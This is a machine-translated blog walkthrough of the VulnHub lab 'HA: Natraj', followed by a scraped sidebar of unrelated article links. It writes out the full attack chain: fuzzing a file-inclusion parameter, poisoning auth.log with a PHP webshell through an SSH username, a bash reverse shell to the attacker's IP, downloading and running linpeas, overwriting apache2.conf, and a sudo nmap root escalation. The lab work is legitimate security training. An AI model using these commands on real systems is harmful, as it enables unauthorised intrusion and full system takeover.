当前位置:网站首页>vulnhub HA: Natraj
vulnhub HA: Natraj
2022-07-03 04:16:00 【Fairy elephant】
Infiltrate ideas :
nmap scanning ----dirb Scan the website directory ----ffuf Blast url Parameters ---- utilize auth.log and LFI Get a bounce shell---- modify /etc/apache2/apache2.conf get mahakal Of shell----sudo nmap Raise the right
environmental information :
Drone aircraft :192.168.101.78
attack :192.168.101.34
Specific steps :
1、nmap scanning
sudo nmap -sV -sC -p- 192.168.101.78
2、dirb Scan the website directory
dirb http://192.168.101.78Scan to directory http://192.168.101.78/console/

The browser accesses the directory , Documents found file.php

Intuition tells me that there may be a file containing loopholes
3、ffuf Blast url Parameters
ffuf -u 'http://192.168.101.78/console/file.php?FUZZ=../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0among FUZZ It is the placeholder string of the parameter name that needs brute force cracking
Blast out the parameter name file

Browser access http://192.168.101.78/console/file.php?file=../../../../etc/passwd
You can see the of the target /etc/passwd The contents of the document

4、 Use user authentication logs and LFI Get a bounce shell
Browser access http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log, Found to have access
Try to use natraj Conduct ssh Sign in , And enter the wrong password ( I don't know the correct password anyway )
ssh [email protected]Then use the browser to access http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log, Find out /var/log/auth.log Recorded in ssh Login user name

So it can be ssh When logging in php Code is inserted as user name , such php The code will be written /var/log/auth.log, The Local File Inclusion Vulnerability of the website includes /var/log/auth.log It will trigger writing php Code execution .
ssh Log in to the target , The user is called "<?php system(\$_GET[xiannv]); ?>", Enter the password casually
ssh "<?php system(\$_GET[xiannv]); ?>"@192.168.101.78
Browser access http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log&xiannv=id
You can get id Command execution results , Indicates inserted php Code effective

Next, monitor on the attack plane 8888 port
nc -nlvp 8888It is then accessed in a browser
among xiannv Parameter values for url Before coding is bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'
Get rebound shell

5、 modify /etc/apache2/apache2.conf get mahakal Of shell
Download from the attacker linpeas.sh
First attack the aircraft linpeas.sh From... Under the directory http service , such as
python2 -m SimpleHTTPServer 80Then the target shell Execute the following command , Download and execute linpeas.sh, Check for possible claims
[email protected]:/tmp$ wget http://192.168.101.34/linpeas.sh
[email protected]:/tmp$ chmod +x linpeas.sh
[email protected]:/tmp$ ./linpeas.shlinpeas.sh Discover file permissions 777 The file of /etc/apache2/apache2.conf, The document is apache2 Primary profile for

In this file User Parameter sets the user of the child process that actually provides the service ,Group Parameter sets the user group of the running sub process of the service .
The original values of these two parameters are as follows , You can modify the values of these two parameters in step 4 The rebound obtained when shell Become other users and groups .
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

Here I tried natraj、root、mahakal, Only mahakal Sure .
Change to natraj Although you can get natraj Rebound of shell, but natraj No one can sudo The order of ( Or is it sudo -l Need a password , Forget which of these two reasons -_-|||);
Change to root When , The main page (http://192.168.101.78) Can open the , however http://192.168.101.78/console/file.php Cannot be opened , I don't know why , I guess there may be some security restrictions .
Because the target cannot be executed vim, So I put /etc/apache2/apache2.conf Copy to the attacker and modify User and Group by mahakal, And save
User mahakal
Group mahakal
Enter on the target /tmp Catalog , Download the modified... From the attacker apache2.conf, And copy it to /etc/apache2/apache2.conf
[email protected]:/tmp$ wget http://192.168.101.34/apache2.conf
[email protected]:/tmp$ cp /tmp/apache2.conf /etc/apache2/apache2.conf
Then I wanted to restart apache2 Of , however www-data It seems that the user does not have permission in this regard , Second, restart the system , but www-data Users also do not have permission in this regard , Only in vmware Restart the virtual machine on
Repeat the steps after restarting 4 Get a rebound shell The operation of , obtain mahakal Rebound of shell.
perform sudo -l, Find out mahakal Sure sudo perform nmap command

6、sudo nmap Raise the right
stay GTFOBins It's on the Internet nmap Sure sudo Raise the right
According to the instructions of the website, enter the following commands in sequence
[email protected]:/var/www/html/console$ TF=$(mktemp)
[email protected]:/var/www/html/console$ echo 'os.execute("/bin/bash")' > $TF
[email protected]:/var/www/html/console$ sudo nmap --script=$TFget root User shell

find proof:/root/root.txt

边栏推荐
- Introduction to eth
- MongoDB 慢查询语句优化分析策略
- The latest activation free version of Omni toolbox
- Competitive product analysis and writing
- MySQL field userid comma separated save by userid query
- 2022 Shandong Province safety officer C certificate examination questions and Shandong Province safety officer C certificate simulation examination question bank
- Write it down once Net travel management background CPU Explosion Analysis
- 国产PC系统完成闭环,替代美国软硬件体系的时刻已经到来
- Nat. Comm. | use tensor cell2cell to deconvolute cell communication with environmental awareness
- Which Bluetooth headset is cost-effective? Four Bluetooth headsets with high cost performance are recommended
猜你喜欢

Supervised pre training! Another exploration of text generation!

Is pytorch open source?

MPLS setup experiment

leetcode:297. 二叉树的序列化与反序列化

IPv6 foundation construction experiment

nodejs基础:浅聊url和querystring模块

105. Detailed introduction of linkage effect realization of SAP ui5 master detail layout mode

Which Bluetooth headset is good about 400? Four Bluetooth headsets with strong noise reduction are recommended

Feature_selection

300+ documents! This article explains the latest progress of multimodal learning based on transformer
随机推荐
MongoDB 慢查询语句优化分析策略
ZIP文件的导出
The time has come for the domestic PC system to complete the closed loop and replace the American software and hardware system
Interface embedded in golang struct
CVPR 2022 | 大连理工提出自校准照明框架,用于现实场景的微光图像增强
300+篇文献!一文详解基于Transformer的多模态学习最新进展
540. Single element in ordered array
Social phobia of contemporary young people (III)
leetcode:297. 二叉树的序列化与反序列化
js实现在可视区内,文字图片动画效果
[brush questions] connected with rainwater (one dimension)
在写web项目的时候,文件上传用到了smartupload,用了new string()进行转码,但是在数据库中,还是会出现类似扑克的乱码
Application of I2C protocol of STM32F103 (read and write EEPROM)
Interface in TS
Which code editor is easy to use? Code editing software recommendation
以两列的瀑布流为例,我们应该怎么构建每一列的数组
中移物联网OneOS与OneNET入选《2021年物联网示范项目名单》
Xrandr modifier la résolution et le taux de rafraîchissement
拆一辆十万元的比亚迪“元”,快来看看里面的有哪些元器件。
[set theory] inclusion exclusion principle (including examples of exclusion principle)